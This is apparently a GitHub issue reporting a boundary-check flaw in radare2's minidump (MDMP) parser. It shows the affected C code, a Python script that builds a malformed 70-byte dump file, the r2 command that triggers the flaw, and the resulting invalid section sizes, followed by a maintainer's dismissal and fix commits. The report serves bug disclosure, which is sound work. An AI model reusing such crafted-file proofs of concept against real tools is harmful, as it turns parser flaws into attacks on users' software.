Repository navigation
Description
Summary
A boundary check vulnerability in the MDMP (Minidump) parser allows malicious MDMP files to cause read_desc() to partially read memory descriptors, resulting in invalid data_size values (UT64_MAX) being used throughout the analysis. This leads to creation of fake oversized memory mappings and potential integer wraparound issues.
Affected Versions
- Tested on: radare2 6.0.8
- Likely affects: All versions with MDMP support
Vulnerability Details
Location
File: libr/bin/format/mdmp/mdmp.c
Function: read_desc() (lines 416-422)
static void read_desc(RBuffer *b, ut64 addr, struct minidump_memory_descriptor64 *desc) {
st64 o_addr = r_buf_seek (b, 0, R_BUF_CUR);
r_buf_seek (b, addr, R_BUF_SET); // No return value check
desc->start_of_memory_range = r_buf_read_le64 (b); // No return value check
desc->data_size = r_buf_read_le64 (b); // No return value check
r_buf_seek (b, o_addr, R_BUF_SET);
}Caller: r_bin_mdmp_init_directory_entry() (line 620)
offset = entry->location.rva + sizeof (memory64_list);
for (i = 0; i < memory64_list.number_of_memory_ranges && offset < obj->size; i++) {
struct minidump_memory_descriptor64 *desc = R_NEW (struct minidump_memory_descriptor64);
if (!desc) {
break;
}
read_desc (obj->b, offset, desc); // Vulnerability here
r_list_append (obj->streams.memories64.memories, desc);
offset += sizeof (*desc); // Always increments by 16, regardless of available data
}Root Cause
The loop condition offset < obj->size is insufficient because read_desc() needs to read 16 bytes (sizeof(struct minidump_memory_descriptor64)). When offset < obj->size < offset + 16, the condition passes but the read fails partially.
Example:
- File size: 70 bytes
- Offset: 60 bytes
- Condition:
60 < 70→ PASS ✓ - Required:
60 + 16 = 76bytes → FAIL ✗ (only 10 bytes available)
When r_buf_read_le64() fails to read 8 bytes, it returns UT64_MAX (0xFFFFFFFFFFFFFFFF), which is then used as a valid data_size.
Proof of Concept
Step 1: Generate Malicious MDMP File
#!/usr/bin/env python3
import struct
MDMP_SIGNATURE = 0x504D444D
MDMP_VERSION = 0xA793
MEMORY_64_LIST_STREAM = 9
data = bytearray()
# Header (32 bytes)
data += struct.pack('<I', MDMP_SIGNATURE) # signature
data += struct.pack('<I', MDMP_VERSION) # version
data += struct.pack('<I', 1) # number_of_streams
data += struct.pack('<I', 32) # stream_directory_rva
data += struct.pack('<I', 0) # check_sum (must be 0)
data += struct.pack('<I', 0) # reserved
data += struct.pack('<Q', 0) # flags
# Directory entry (12 bytes) at offset 32
data += struct.pack('<I', MEMORY_64_LIST_STREAM) # stream_type = 9
data += struct.pack('<I', 26) # location.data_size
data += struct.pack('<I', 44) # location.rva
# Memory64 list (16 bytes) at offset 44
data += struct.pack('<Q', 2) # number_of_memory_ranges (claims 2)
data += struct.pack('<Q', 0x1000) # base_rva
# Partial descriptor (10 bytes) at offset 60
# Only 10 bytes until EOF (70 total), but descriptor needs 16 bytes
data += struct.pack('<Q', 0xDEADBEEF) # 8 bytes: start_of_memory_range (valid)
data += b'\xAA\xBB' # 2 bytes: partial data_size (invalid!)
with open('poc_mdmp.dmp', 'wb') as f:
f.write(data)
print(f"Created malicious MDMP: {len(data)} bytes")Step 2: Trigger the Vulnerability
$ r2 -qc 'iSj' poc_mdmp.dmpStep 3: Observe Invalid Output
Expected: Valid memory section with reasonable size
Actual:
[{
"name":"Memory_Section",
"size":-1,
"vsize":-1,
"perm":"-r--",
"flags":0,
"paddr":4096,
"vaddr":3735928559
}]Analysis:
- ✓
vaddr = 3735928559(0xDEADBEEF) - Successfully read (8 bytes available) - ✗
size = -1- Failed read returns UT64_MAX (only 2 bytes available, needs 8) - ✗
vsize = -1- Same invalid value
Visual Demonstration
Click to expand: POC file structure
Offset | Size | Content | Description
-------|------|----------------------|---------------------------
0x00 | 32 | Header | Valid MDMP header
0x20 | 12 | Directory entry | Points to MEMORY_64_LIST_STREAM
0x2C | 16 | Memory64 list | Claims 2 memory ranges
0x3C | 10 | Partial descriptor | Only 10 bytes (need 16!)
-------|------|----------------------|---------------------------
Total: 70 bytes (0x46)
Loop execution:
1st iteration: offset = 60 (0x3C)
Check: offset (60) < file_size (70) → TRUE ✓
read_desc tries to read 16 bytes at offset 60
Available: only 10 bytes
Result:
- start_of_memory_range = 0xDEADBEEF (8 bytes read OK)
- data_size = UT64_MAX (only 2 bytes, returns failure value)
Reproduction
Quick Test
# 1. Generate POC
python3 poc_mdmp_oob.py poc.dmp
# 2. Test with radare2
r2 -qc 'iS' poc.dmp
# Expected output shows size=-1 (UT64_MAX)Environment
OS: Linux 6.8.0-87-generic
Radare2: 6.0.9
Compiler: gcc/clang with -fsanitize=address,undefined
References
- MDMP Format: https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/
- Related Code:
libr/bin/format/mdmp/mdmp.c,libr/bin/p/bin_mdmp.c
Date: 2026-01-13
Type: Bug / Security
Labels: bug, security, mdmp, parser, boundary-check
Activity
trufae commentedon Jan 14, 2026
I dont see any vulnerability here.
Fix radareorg#25209 - mdmp boundary check and memory leaks ##bin
Fix radareorg#25209 - mdmp boundary check and memory leaks ##bin
Fix #25209 - Ensure we have enough data to read in mdmp ##bin
Fix radareorg#25209 - Ensure we have enough data to read in mdmp ##bin